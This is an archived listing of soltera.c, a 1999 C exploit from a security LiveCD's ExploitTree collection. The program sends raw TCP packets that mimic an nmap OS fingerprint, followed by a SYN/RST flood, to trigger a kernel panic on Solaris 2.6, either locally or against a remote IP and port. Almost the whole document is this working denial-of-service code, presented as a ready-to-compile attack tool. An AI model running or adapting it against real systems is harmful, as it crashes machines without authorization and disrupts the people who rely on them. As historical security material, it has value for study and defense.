home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
solaris
/
remote
/
soltera.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
10KB
|
335 lines
/* soltera.c - (c) Sep 1999 by Mixter
* Local / Remote DoS against Solaris 2.6 (other versions?)
*
* Description: nmap fingerprint scans against any daemon that
* terminates right after the scans are able to produce a kernel
* panic on Solaris 2.6. (found by D.Brumley)
* Local exploit: this program will create, scan and kill a listening
* server. Just run it without arguments.
* Remote exploit: soltera <ip> <port> - this _might_ work for a
* service started again by inetd for every new session.
*
* cc -lnsl -lsocket -DSOLARIS soltera.c -o soltera
*
* +++ root priviledges are needed for the fingerprinting +++
*/
#define PORT 0xC0D3
#define REPEAT 255
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
void server (int);
void fakeosscan (u_long, int);
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
#define ANS "\x1b\x5b"
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_BOG 64
/* #define WINSIZ 1024 * (ih->ttl % 4 + 1) */
#define WINSIZ 2048
#ifdef SOLARIS
#include <sys/stream.h>
#include <sys/dlpi.h>
#include <sys/bufmod.h>
#include <netinet/ip_var.h>
#define htons(x) (x)
#define htonl(x) (x)
#define u_int8_t uint8_t
#define u_int16_t uint16_t
#define u_int32_t uint32_t
#endif
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:
4;
u_int8_t version:
4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:
4;
u_int8_t ihl:
4;
#else
#error "Please fix <bytesex.h>"
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2:
4;
u_int8_t th_off:
4;
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
/* u_int8_t th_off:4;
u_int8_t th_x2:4; */
#endif
u_int8_t th_flags;
u_int16_t th_win;
u_int16_t check;
u_int16_t th_urp;
};
u_short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
int
main (int ac, char **av)
{
int p = PORT, pid;
u_long ia;
if (ac < 2 || !(ia = inet_addr (av[1])))
{
printf (ANS "0;32m[using ip 127.0.0.1]\n");
ia = inet_addr ("127.0.0.1");
}
else
printf (ANS "0;32m[using ip %s]\n", av[1]);
if (ac >= 3)
if (atoi (av[2]))
p = atoi (av[2]);
printf (ANS "0;34m[using port %d]\n", p);
if (getuid ())
{
printf ("You need root to use fingerprinting locally...\n");
printf ("Listening as server only, hit CTRL+C to abort.\n");
for (;;) server(p);
}
pid = fork ();
if (!pid)
server (p);
sleep (3);
fakeosscan (ia, p);
if (kill (pid, SIGKILL) == -1)
printf (ANS "0;31mFAILED to kill server: %s\n", strerror (errno));
else
printf (ANS "0;31m[server (pid: %d) killed]\n", pid);
sleep (3);
fakeosscan (ia, p);
sleep (10);
printf (ANS "0;35m[all done]%s0;0m\n", ANS);
return 0;
}
void
server (int port)
{
int c, e = sizeof (struct sockaddr_in);
struct sockaddr_in l, r;
l.sin_family = AF_INET;
l.sin_port = htons (port);
l.sin_addr.s_addr = INADDR_ANY;
memset (l.sin_zero, 0, 8);
c = socket (AF_INET, SOCK_STREAM, 0);
bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
listen (c, 0xFF);
printf (ANS "1;33m[server listening on port %d]\n", port);
while (accept (c, (struct sockaddr *) &r, &e));
}
void
fakeosscan (u_long ip, int port)
{
int r = socket (AF_INET, SOCK_STREAM, 0), optlen = 20, i = 0;
int orig = getrandom (1024, 65534);
char synb[8192];
struct sockaddr_in sin;
struct iphdr *ih = (struct iphdr *) synb;
struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct iphdr));
u_long seq = random ();
char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
char *options = "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000";
printf (ANS "1;30m[initiating fingerprinting simulation on port %d]\n", port);
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = ip;
connect (r, (struct sockaddr *) &sin, sizeof (sin));
close (r);
r = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
ih->version = 4;
ih->ihl = 5;
ih->tos = 0x00;
ih->id = htons (random ());
ih->frag_off = 0;
ih->ttl = getrandom (0, 255);
ih->protocol = IPPROTO_TCP;
ih->check = 0;
ih->saddr = 0;
ih->daddr = ip;
th->source = htons (orig);
th->dest = htons (port);
th->seq = seq;
th->ack_seq = 0;
th->th_flags = 0;
th->th_win = htons (WINSIZ);
th->check = 0;
th->th_urp = 0;
memset (eoh, 0, 20);
memcpy (eoh, options, optlen);
/* packet 1 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_BOG | TH_SYN;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
(struct sockaddr *) &sin, sizeof (sin));
/* packet 2 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = 0;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 3 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_SYN | TH_FIN | TH_URG | TH_PUSH;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen,
0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 4 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_ACK;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 5 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_SYN;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* packet 6 */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_ACK;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* guess */
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_FIN | TH_PUSH | TH_URG;
th->source++;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
/* we omit the udp stuff */
/* the actual mutex_enter exploit (rst/syn/rst/syn...) */
optlen = 0;
memset (eoh, 0, sizeof (options));
ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
th->th_off = 5 + (optlen / 4);
th->th_flags = TH_SYN;
for (i = 0; i <= REPEAT; i++)
{
if (i % 2)
{
th->th_flags = TH_SYN;
th->th_win = htons (WINSIZ);
}
else
{
th->th_flags = TH_RST;
th->th_win = 0;
}
th->source = orig + i;
th->seq = seq + i;
th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
usleep (31337);
}
close (r);
}
/* www.hack.co.za [2000]*/